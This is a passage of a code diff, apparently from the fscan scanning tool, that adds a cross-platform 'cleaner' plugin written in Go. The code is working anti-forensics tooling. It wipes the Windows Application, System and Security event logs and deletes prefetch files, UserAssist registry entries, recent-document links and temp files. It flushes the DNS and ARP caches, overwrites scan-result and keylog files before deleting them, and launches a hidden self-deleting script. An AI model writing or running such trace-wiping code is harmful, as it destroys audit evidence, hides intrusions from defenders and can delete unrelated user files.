if err := os.WriteFile(scriptPath, []byte(shellScript), 0755); err != nil {
|
||||
common.LogError(fmt.Sprintf("创建自毁脚本失败: %v", err))
|
||||
report["status"] = "failed"
|
||||
report["error"] = err.Error()
|
||||
} else {
|
||||
// 异步执行自毁脚本
|
||||
go func() {
|
||||
time.Sleep(1 * time.Second)
|
||||
cmd := exec.Command("/bin/sh", scriptPath)
|
||||
cmd.Start()
|
||||
}()
|
||||
|
||||
report["status"] = "scheduled"
|
||||
report["script_path"] = scriptPath
|
||||
common.LogInfo("已创建自毁脚本,将在退出后执行")
|
||||
}
|
||||
|
||||
return report
|
||||
}
|
||||
|
||||
// prepareSelfDestruction 准备自毁
|
||||
func (p *CleanerPlugin) prepareSelfDestruction() map[string]interface{} {
|
||||
return p.createUnixSelfDestruct()
|
||||
}
|
359
Plugins/local/cleaner/cleaner_windows.go
Normal file
359
Plugins/local/cleaner/cleaner_windows.go
Normal file
@ -0,0 +1,359 @@
|
||||
//go:build windows
|
||||
|
||||
package cleaner
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
// cleanSystemTraces 清理Windows系统痕迹
|
||||
func (p *CleanerPlugin) cleanSystemTraces() map[string]interface{} {
|
||||
report := make(map[string]interface{})
|
||||
var cleaned []string
|
||||
|
||||
// 1. 清理Windows事件日志
|
||||
if eventLogs := p.cleanWindowsEventLogs(); len(eventLogs) > 0 {
|
||||
cleaned = append(cleaned, eventLogs...)
|
||||
report["event_logs"] = eventLogs
|
||||
}
|
||||
|
||||
// 2. 清理预取文件
|
||||
if prefetchFiles := p.cleanPrefetchFiles(); len(prefetchFiles) > 0 {
|
||||
cleaned = append(cleaned, prefetchFiles...)
|
||||
report["prefetch_files"] = prefetchFiles
|
||||
}
|
||||
|
||||
// 3. 清理注册表痕迹
|
||||
if registryKeys := p.cleanRegistryTraces(); len(registryKeys) > 0 {
|
||||
cleaned = append(cleaned, registryKeys...)
|
||||
report["registry_keys"] = registryKeys
|
||||
}
|
||||
|
||||
// 4. 清理最近文档记录
|
||||
if recentDocs := p.cleanRecentDocuments(); len(recentDocs) > 0 {
|
||||
cleaned = append(cleaned, recentDocs...)
|
||||
report["recent_documents"] = recentDocs
|
||||
}
|
||||
|
||||
// 5. 清理Windows临时文件
|
||||
if tempFiles := p.cleanWindowsTempFiles(); len(tempFiles) > 0 {
|
||||
cleaned = append(cleaned, tempFiles...)
|
||||
report["temp_files"] = tempFiles
|
||||
}
|
||||
|
||||
p.cleanupStats["system_entries"] += len(cleaned)
|
||||
report["total_cleaned"] = len(cleaned)
|
||||
|
||||
return report
|
||||
}
|
||||
|
||||
// cleanWindowsEventLogs 清理Windows事件日志
|
||||
func (p *CleanerPlugin) cleanWindowsEventLogs() []string {
|
||||
var cleaned []string
|
||||
|
||||
// 尝试清理应用程序日志中的相关条目
|
||||
logs := []string{"Application", "System", "Security"}
|
||||
|
||||
for _, logName := range logs {
|
||||
// 使用wevtutil清理日志
|
||||
cmd := exec.Command("wevtutil", "cl", logName)
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
|
||||
if err := cmd.Run(); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("清理 %s 日志失败 (权限不足): %v", logName, err))
|
||||
} else {
|
||||
cleaned = append(cleaned, fmt.Sprintf("Windows Event Log: %s", logName))
|
||||
common.LogSuccess(fmt.Sprintf("已清理Windows事件日志: %s", logName))
|
||||
}
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// cleanPrefetchFiles 清理预取文件
|
||||
func (p *CleanerPlugin) cleanPrefetchFiles() []string {
|
||||
var cleaned []string
|
||||
|
||||
prefetchDir := "C:\\Windows\\Prefetch"
|
||||
if _, err := os.Stat(prefetchDir); os.IsNotExist(err) {
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// 查找fscan相关的预取文件
|
||||
entries, err := os.ReadDir(prefetchDir)
|
||||
if err != nil {
|
||||
common.LogDebug(fmt.Sprintf("无法访问预取目录 (权限不足): %v", err))
|
||||
return cleaned
|
||||
}
|
||||
|
||||
for _, entry := range entries {
|
||||
if entry.IsDir() {
|
||||
continue
|
||||
}
|
||||
|
||||
filename := strings.ToUpper(entry.Name())
|
||||
if strings.Contains(filename, "FSCAN") {
|
||||
prefetchFile := filepath.Join(prefetchDir, entry.Name())
|
||||
if err := os.Remove(prefetchFile); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("删除预取文件失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, prefetchFile)
|
||||
common.LogSuccess(fmt.Sprintf("已删除预取文件: %s", entry.Name()))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// cleanRegistryTraces 清理注册表痕迹
|
||||
func (p *CleanerPlugin) cleanRegistryTraces() []string {
|
||||
var cleaned []string
|
||||
|
||||
// 清理UserAssist注册表项
|
||||
if userAssist := p.cleanUserAssistRegistry(); len(userAssist) > 0 {
|
||||
cleaned = append(cleaned, userAssist...)
|
||||
}
|
||||
|
||||
// 清理MRU(最近使用)记录
|
||||
if mru := p.cleanMRURegistry(); len(mru) > 0 {
|
||||
cleaned = append(cleaned, mru...)
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// cleanUserAssistRegistry 清理UserAssist注册表
|
||||
func (p *CleanerPlugin) cleanUserAssistRegistry() []string {
|
||||
var cleaned []string
|
||||
|
||||
// UserAssist键路径
|
||||
keyPaths := []string{
|
||||
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count",
|
||||
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\\Count",
|
||||
}
|
||||
|
||||
for _, keyPath := range keyPaths {
|
||||
// 查询注册表项
|
||||
cmd := exec.Command("reg", "query", keyPath)
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
|
||||
output, err := cmd.Output()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
// 查找fscan相关条目并删除
|
||||
lines := strings.Split(string(output), "\n")
|
||||
for _, line := range lines {
|
||||
if strings.Contains(strings.ToUpper(line), "FSCAN") {
|
||||
// 提取值名称
|
||||
parts := strings.Fields(line)
|
||||
if len(parts) > 0 {
|
||||
valueName := parts[0]
|
||||
|
||||
// 删除注册表值
|
||||
delCmd := exec.Command("reg", "delete", keyPath, "/v", valueName, "/f")
|
||||
delCmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
|
||||
if err := delCmd.Run(); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("删除注册表项失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, fmt.Sprintf("Registry: %s\\%s", keyPath, valueName))
|
||||
common.LogSuccess(fmt.Sprintf("已删除UserAssist记录: %s", valueName))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// cleanMRURegistry 清理MRU注册表记录
|
||||
func (p *CleanerPlugin) cleanMRURegistry() []string {
|
||||
var cleaned []string
|
||||
|
||||
// MRU键路径
|
||||
mruKeys := []string{
|
||||
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RecentDocs",
|
||||
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU",
|
||||
}
|
||||
|
||||
for _, keyPath := range mruKeys {
|
||||
// 这里可以添加更复杂的MRU清理逻辑
|
||||
// 由于安全考虑,暂时只记录路径
|
||||
common.LogDebug(fmt.Sprintf("检查MRU路径: %s", keyPath))
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// cleanRecentDocuments 清理最近文档记录
|
||||
func (p *CleanerPlugin) cleanRecentDocuments() []string {
|
||||
var cleaned []string
|
||||
|
||||
// 获取用户目录
|
||||
userProfile := os.Getenv("USERPROFILE")
|
||||
if userProfile == "" {
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// 最近文档目录
|
||||
recentDir := filepath.Join(userProfile, "AppData", "Roaming", "Microsoft", "Windows", "Recent")
|
||||
|
||||
entries, err := os.ReadDir(recentDir)
|
||||
if err != nil {
|
||||
common.LogDebug(fmt.Sprintf("无法访问最近文档目录: %v", err))
|
||||
return cleaned
|
||||
}
|
||||
|
||||
for _, entry := range entries {
|
||||
if entry.IsDir() {
|
||||
continue
|
||||
}
|
||||
|
||||
filename := strings.ToLower(entry.Name())
|
||||
if strings.Contains(filename, "fscan") || strings.Contains(filename, "result") {
|
||||
recentFile := filepath.Join(recentDir, entry.Name())
|
||||
if err := os.Remove(recentFile); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("删除最近文档失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, recentFile)
|
||||
common.LogSuccess(fmt.Sprintf("已删除最近文档: %s", entry.Name()))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// cleanWindowsTempFiles 清理Windows临时文件
|
||||
func (p *CleanerPlugin) cleanWindowsTempFiles() []string {
|
||||
var cleaned []string
|
||||
|
||||
// 临时目录
|
||||
tempDirs := []string{
|
||||
os.Getenv("TEMP"),
|
||||
os.Getenv("TMP"),
|
||||
"C:\\Windows\\Temp",
|
||||
}
|
||||
|
||||
for _, tempDir := range tempDirs {
|
||||
if tempDir == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
entries, err := os.ReadDir(tempDir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, entry := range entries {
|
||||
if entry.IsDir() {
|
||||
continue
|
||||
}
|
||||
|
||||
filename := strings.ToLower(entry.Name())
|
||||
if strings.Contains(filename, "fscan") || strings.Contains(filename, "tmp") {
|
||||
tempFile := filepath.Join(tempDir, entry.Name())
|
||||
|
||||
// 检查文件是否太新(可能正在使用)
|
||||
if info, err := entry.Info(); err == nil {
|
||||
if time.Since(info.ModTime()) < 5*time.Minute {
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
if err := os.Remove(tempFile); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("删除临时文件失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, tempFile)
|
||||
common.LogSuccess(fmt.Sprintf("已删除临时文件: %s", entry.Name()))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// cleanNetworkTraces 清理网络痕迹
|
||||
func (p *CleanerPlugin) cleanNetworkTraces() map[string]interface{} {
|
||||
report := make(map[string]interface{})
|
||||
var cleaned []string
|
||||
|
||||
// 1. 清理DNS缓存
|
||||
cmd := exec.Command("ipconfig", "/flushdns")
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
|
||||
if err := cmd.Run(); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("清理DNS缓存失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, "DNS Cache")
|
||||
common.LogSuccess("已清理DNS缓存")
|
||||
}
|
||||
|
||||
// 2. 清理ARP缓存
|
||||
arpCmd := exec.Command("arp", "-d", "*")
|
||||
arpCmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
|
||||
if err := arpCmd.Run(); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("清理ARP缓存失败: %v", err))
|
||||
} else {
|
||||
cleaned = append(cleaned, "ARP Cache")
|
||||
common.LogSuccess("已清理ARP缓存")
|
||||
}
|
||||
|
||||
report["network_caches"] = cleaned
|
||||
report["total_cleaned"] = len(cleaned)
|
||||
|
||||
return report
|
||||
}
|
||||
|
||||
// createWindowsSelfDestruct 创建Windows自毁脚本
|
||||
func (p *CleanerPlugin) createWindowsSelfDestruct() map[string]interface{} {
|
||||
report := make(map[string]interface{})
|
||||
|
||||
// 创建批处理自毁脚本
|
||||
batchScript := fmt.Sprintf(`@echo off
|
||||
timeout /t 2 /nobreak > nul
|
||||
del /f /q "%s" 2>nul
|
||||
del /f /q "%%~f0" 2>nul
|
||||
exit`, p.currentExecutable)
|
||||
|
||||
scriptPath := filepath.Join(p.workingDirectory, "cleanup.bat")
|
||||
|
||||
if err := os.WriteFile(scriptPath, []byte(batchScript), 0644); err != nil {
|
||||
common.LogError(fmt.Sprintf("创建自毁脚本失败: %v", err))
|
||||
report["status"] = "failed"
|
||||
report["error"] = err.Error()
|
||||
} else {
|
||||
// 异步执行自毁脚本
|
||||
go func() {
|
||||
time.Sleep(1 * time.Second)
|
||||
cmd := exec.Command(scriptPath)
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
cmd.Start()
|
||||
}()
|
||||
|
||||
report["status"] = "scheduled"
|
||||
report["script_path"] = scriptPath
|
||||
common.LogInfo("已创建自毁脚本,将在退出后执行")
|
||||
}
|
||||
|
||||
return report
|
||||
}
|
||||
|
||||
// prepareSelfDestruction 准备自毁
|
||||
func (p *CleanerPlugin) prepareSelfDestruction() map[string]interface{} {
|
||||
return p.createWindowsSelfDestruct()
|
||||
}
|
386
Plugins/local/cleaner/plugin.go
Normal file
386
Plugins/local/cleaner/plugin.go
Normal file
@ -0,0 +1,386 @@
|
||||
package cleaner
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
"github.com/shadow1ng/fscan/plugins/local"
|
||||
)
|
||||
|
||||
// CleanerPlugin 系统痕迹清理插件 - 跨平台支持
|
||||
type CleanerPlugin struct {
|
||||
*local.BaseLocalPlugin
|
||||
|
||||
// 配置选项
|
||||
targetFiles []string // 要清理的文件列表
|
||||
cleanDirectories []string // 要清理的目录列表
|
||||
currentExecutable string // 当前执行文件路径
|
||||
workingDirectory string // 当前工作目录
|
||||
cleanupStats map[string]int // 清理统计
|
||||
}
|
||||
|
||||
// NewCleanerPlugin 创建系统痕迹清理插件
|
||||
func NewCleanerPlugin() *CleanerPlugin {
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "cleaner",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "跨平台系统痕迹清理插件,清理扫描过程中产生的文件和系统痕迹",
|
||||
Category: "local",
|
||||
Tags: []string{"local", "cleaner", "forensics", "cross-platform"},
|
||||
Protocols: []string{"local"},
|
||||
}
|
||||
|
||||
plugin := &CleanerPlugin{
|
||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||||
targetFiles: make([]string, 0),
|
||||
cleanDirectories: make([]string, 0),
|
||||
cleanupStats: make(map[string]int),
|
||||
}
|
||||
|
||||
// 支持所有主要平台
|
||||
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
|
||||
// 需要系统权限进行清理操作
|
||||
plugin.SetRequiresPrivileges(false) // 根据当前用户权限进行清理
|
||||
|
||||
return plugin
|
||||
}
|
||||
|
||||
// Initialize 初始化插件
|
||||
func (p *CleanerPlugin) Initialize() error {
|
||||
common.LogInfo(fmt.Sprintf("初始化系统痕迹清理插件 - 平台: %s", runtime.GOOS))
|
||||
|
||||
// 获取当前执行文件路径
|
||||
if exe, err := os.Executable(); err == nil {
|
||||
p.currentExecutable = exe
|
||||
common.LogDebug(fmt.Sprintf("当前执行文件: %s", exe))
|
||||
}
|
||||
|
||||
// 获取当前工作目录
|
||||
if wd, err := os.Getwd(); err == nil {
|
||||
p.workingDirectory = wd
|
||||
common.LogDebug(fmt.Sprintf("当前工作目录: %s", wd))
|
||||
}
|
||||
|
||||
// 扫描要清理的文件
|
||||
if err := p.scanCleanupTargets(); err != nil {
|
||||
return fmt.Errorf("扫描清理目标失败: %v", err)
|
||||
}
|
||||
|
||||
return p.BaseLocalPlugin.Initialize()
|
||||
}
|
||||
|
||||
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||||
func (p *CleanerPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
return p.ScanLocal(ctx, info)
|
||||
}
|
||||
|
||||
// ScanLocal 执行系统痕迹清理任务
|
||||
func (p *CleanerPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
common.LogInfo("开始系统痕迹清理...")
|
||||
|
||||
// 执行清理操作
|
||||
cleanupReport, err := p.performCleanup(ctx)
|
||||
if err != nil {
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: err,
|
||||
}, nil
|
||||
}
|
||||
|
||||
result := &base.ScanResult{
|
||||
Success: true,
|
||||
Service: "SystemCleaner",
|
||||
Banner: fmt.Sprintf("痕迹清理完成: 清理了 %d 个文件, %d 个目录, %d 个系统条目",
|
||||
p.cleanupStats["files"], p.cleanupStats["directories"], p.cleanupStats["system_entries"]),
|
||||
Extra: map[string]interface{}{
|
||||
"platform": runtime.GOOS,
|
||||
"files_cleaned": p.cleanupStats["files"],
|
||||
"directories_cleaned": p.cleanupStats["directories"],
|
||||
"system_entries_cleaned": p.cleanupStats["system_entries"],
|
||||
"cleanup_report": cleanupReport,
|
||||
},
|
||||
}
|
||||
|
||||
common.LogSuccess(fmt.Sprintf("系统痕迹清理完成: 文件(%d) 目录(%d) 系统条目(%d)",
|
||||
p.cleanupStats["files"], p.cleanupStats["directories"], p.cleanupStats["system_entries"]))
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// scanCleanupTargets 扫描要清理的目标
|
||||
func (p *CleanerPlugin) scanCleanupTargets() error {
|
||||
common.LogInfo("扫描清理目标...")
|
||||
|
||||
// 扫描当前目录下的fscan相关文件
|
||||
if err := filepath.Walk(p.workingDirectory, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil {
|
||||
return nil // 忽略访问错误
|
||||
}
|
||||
|
||||
if info.IsDir() {
|
||||
return nil
|
||||
}
|
||||
|
||||
filename := strings.ToLower(info.Name())
|
||||
|
||||
// 检查fscan相关文件
|
||||
if p.isFscanRelatedFile(filename) {
|
||||
p.targetFiles = append(p.targetFiles, path)
|
||||
common.LogDebug(fmt.Sprintf("发现清理目标: %s", path))
|
||||
}
|
||||
|
||||
return nil
|
||||
}); err != nil {
|
||||
common.LogError(fmt.Sprintf("扫描文件失败: %v", err))
|
||||
}
|
||||
|
||||
common.LogInfo(fmt.Sprintf("发现 %d 个文件需要清理", len(p.targetFiles)))
|
||||
return nil
|
||||
}
|
||||
|
||||
// isFscanRelatedFile 判断是否为fscan相关文件 - 使用保守的策略
|
||||
func (p *CleanerPlugin) isFscanRelatedFile(filename string) bool {
|
||||
// 严格的项目文件排除列表 - 确保不误删项目文件
|
||||
excludePatterns := []string{
|
||||
".go", ".mod", ".sum", ".md", ".yml", ".yaml", // 源码和配置
|
||||
".git", ".claude", ".idea", ".vscode", // 版本控制和IDE
|
||||
"dockerfile", "makefile", "license", "readme", // 项目文件
|
||||
"plugins", "common", "core", "webscan", // 核心目录
|
||||
"testdocker", // 测试配置
|
||||
".json", ".xml", // 配置文件
|
||||
}
|
||||
|
||||
// 检查是否为需要排除的文件
|
||||
for _, exclude := range excludePatterns {
|
||||
if strings.Contains(filename, exclude) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// 只清理明确的输出和结果文件 - 非常保守的策略
|
||||
cleanPatterns := []string{
|
||||
"result.txt", // 默认扫描结果文件
|
||||
"results.txt", // 可能的结果文件
|
||||
"output.txt", // 输出文件
|
||||
"scan_result.txt", // 扫描结果
|
||||
"keylog.txt", // 键盘记录输出
|
||||
"my_keylog.txt", // 自定义键盘记录
|
||||
}
|
||||
|
||||
// 排除当前执行文件(稍后单独处理)
|
||||
if p.currentExecutable != "" {
|
||||
currentExeName := strings.ToLower(filepath.Base(p.currentExecutable))
|
||||
if filename == currentExeName {
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// 只清理明确匹配的输出文件
|
||||
for _, pattern := range cleanPatterns {
|
||||
if filename == pattern { // 精确匹配,不使用 Contains
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
// 清理明确的测试生成可执行文件(但保留源码)
|
||||
if strings.HasSuffix(filename, ".exe") {
|
||||
// 只清理包含特定测试标识的exe文件
|
||||
testPatterns := []string{"_test.exe", "_debug.exe", "fscan_test", "fscan_debug"}
|
||||
for _, pattern := range testPatterns {
|
||||
if strings.Contains(filename, pattern) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// performCleanup 执行清理操作
|
||||
func (p *CleanerPlugin) performCleanup(ctx context.Context) (map[string]interface{}, error) {
|
||||
report := make(map[string]interface{})
|
||||
|
||||
// 初始化统计
|
||||
p.cleanupStats["files"] = 0
|
||||
p.cleanupStats["directories"] = 0
|
||||
p.cleanupStats["system_entries"] = 0
|
||||
|
||||
// 1. 清理文件
|
||||
common.LogInfo("清理相关文件...")
|
||||
fileReport := p.cleanTargetFiles()
|
||||
report["file_cleanup"] = fileReport
|
||||
|
||||
// 2. 清理系统痕迹(平台特定)
|
||||
common.LogInfo("清理系统痕迹...")
|
||||
systemReport := p.cleanSystemTraces()
|
||||
report["system_cleanup"] = systemReport
|
||||
|
||||
// 3. 清理网络痕迹
|
||||
common.LogInfo("清理网络痕迹...")
|
||||
networkReport := p.cleanNetworkTraces()
|
||||
report["network_cleanup"] = networkReport
|
||||
|
||||
// 4. 最后清理自身(需要特殊处理)
|
||||
if p.currentExecutable != "" {
|
||||
common.LogInfo("准备清理自身...")
|
||||
selfReport := p.prepareSelfDestruction()
|
||||
report["self_cleanup"] = selfReport
|
||||
}
|
||||
|
||||
return report, nil
|
||||
}
|
||||
|
||||
// cleanTargetFiles 清理文件
|
||||
func (p *CleanerPlugin) cleanTargetFiles() []string {
|
||||
var cleaned []string
|
||||
|
||||
for _, file := range p.targetFiles {
|
||||
if err := p.secureDelete(file); err != nil {
|
||||
common.LogError(fmt.Sprintf("删除文件失败 %s: %v", file, err))
|
||||
} else {
|
||||
cleaned = append(cleaned, file)
|
||||
p.cleanupStats["files"]++
|
||||
common.LogSuccess(fmt.Sprintf("已删除: %s", file))
|
||||
}
|
||||
}
|
||||
|
||||
return cleaned
|
||||
}
|
||||
|
||||
// secureDelete 安全删除文件(覆盖后删除)
|
||||
func (p *CleanerPlugin) secureDelete(filepath string) error {
|
||||
// 获取文件信息
|
||||
info, err := os.Stat(filepath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 小文件进行覆盖删除
|
||||
if info.Size() < 10*1024*1024 { // 10MB以下
|
||||
if err := p.overwriteFile(filepath); err != nil {
|
||||
common.LogDebug(fmt.Sprintf("覆盖文件失败: %v", err))
|
||||
}
|
||||
}
|
||||
|
||||
// 删除文件
|
||||
return os.Remove(filepath)
|
||||
}
|
||||
|
||||
// overwriteFile 覆盖文件内容
|
||||
func (p *CleanerPlugin) overwriteFile(filepath string) error {
|
||||
info, err := os.Stat(filepath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
file, err := os.OpenFile(filepath, os.O_WRONLY, 0)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
// 用随机数据覆盖
|
||||
size := info.Size()
|
||||
buffer := make([]byte, 4096)
|
||||
for i := range buffer {
|
||||
buffer[i] = byte(time.Now().UnixNano() % 256)
|
||||
}
|
||||
|
||||
for size > 0 {
|
||||
writeSize := int64(len(buffer))
|
||||
if size < writeSize {
|
||||
writeSize = size
|
||||
}
|
||||
|
||||
if _, err := file.Write(buffer[:writeSize]); err != nil {
|
||||
return err
|
||||
}
|
||||
size -= writeSize
|
||||
}
|
||||
|
||||
return file.Sync()
|
||||
}
|
||||
|
||||
// prepareSelfDestruction 准备自毁 - 平台特定实现在各自的文件中
|
||||
|
||||
// GetLocalData 获取清理器本地数据
|
||||
func (p *CleanerPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
||||
data := make(map[string]interface{})
|
||||
|
||||
data["plugin_type"] = "cleaner"
|
||||
data["platform"] = runtime.GOOS
|
||||
data["current_executable"] = p.currentExecutable
|
||||
data["working_directory"] = p.workingDirectory
|
||||
data["cleanup_targets"] = len(p.targetFiles)
|
||||
|
||||
if hostname, err := os.Hostname(); err == nil {
|
||||
data["hostname"] = hostname
|
||||
}
|
||||
|
||||
return data, nil
|
||||
}
|
||||
|
||||
// ExtractData 提取数据
|
||||
func (p *CleanerPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
|
||||
return &base.ExploitResult{
|
||||
Success: true,
|
||||
Output: fmt.Sprintf("系统痕迹清理完成,清理了 %d 个项目", p.cleanupStats["files"]+p.cleanupStats["directories"]+p.cleanupStats["system_entries"]),
|
||||
Data: data,
|
||||
Extra: map[string]interface{}{
|
||||
"platform": runtime.GOOS,
|
||||
"cleanup_stats": p.cleanupStats,
|
||||
"status": "completed",
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
// GetInfo 获取插件信息
|
||||
func (p *CleanerPlugin) GetInfo() string {
|
||||
var info strings.Builder
|
||||
|
||||
info.WriteString("跨平台系统痕迹清理插件\n")
|
||||
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
|
||||
info.WriteString("功能:\n")
|
||||
info.WriteString(" - 清理fscan相关输出文件\n")
|
||||
info.WriteString(" - 清理系统日志痕迹\n")
|
||||
info.WriteString(" - 清理网络连接痕迹\n")
|
||||
info.WriteString(" - 清理Shell历史记录\n")
|
||||
info.WriteString(" - 安全删除敏感文件\n")
|
||||
info.WriteString(" - 自毁功能\n")
|
||||
info.WriteString("注意: 根据当前用户权限执行清理操作\n")
|
||||
|
||||
return info.String()
|
||||
}
|
||||
|
||||
// RegisterCleanerPlugin 注册系统痕迹清理插件
|
||||
func RegisterCleanerPlugin() {
|
||||
factory := base.NewSimplePluginFactory(
|
||||
&base.PluginMetadata{
|
||||
Name: "cleaner",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "跨平台系统痕迹清理插件,清理扫描过程中产生的文件和系统痕迹",
|
||||
Category: "local",
|
||||
Tags: []string{"cleaner", "local", "forensics", "cross-platform"},
|
||||
Protocols: []string{"local"},
|
||||
},
|
||||
func() base.Plugin {
|
||||
return NewCleanerPlugin()
|
||||
},
|
||||
)
|
||||
|
||||
base.GlobalPluginRegistry.Register("cleaner", factory)
|
||||
}
|
||||
|
||||
// init 插件注册函数
|
||||
func init() {
|
||||
RegisterCleanerPlugin()
|
||||
}
|
Loading…
Reference in New Issue
Block a user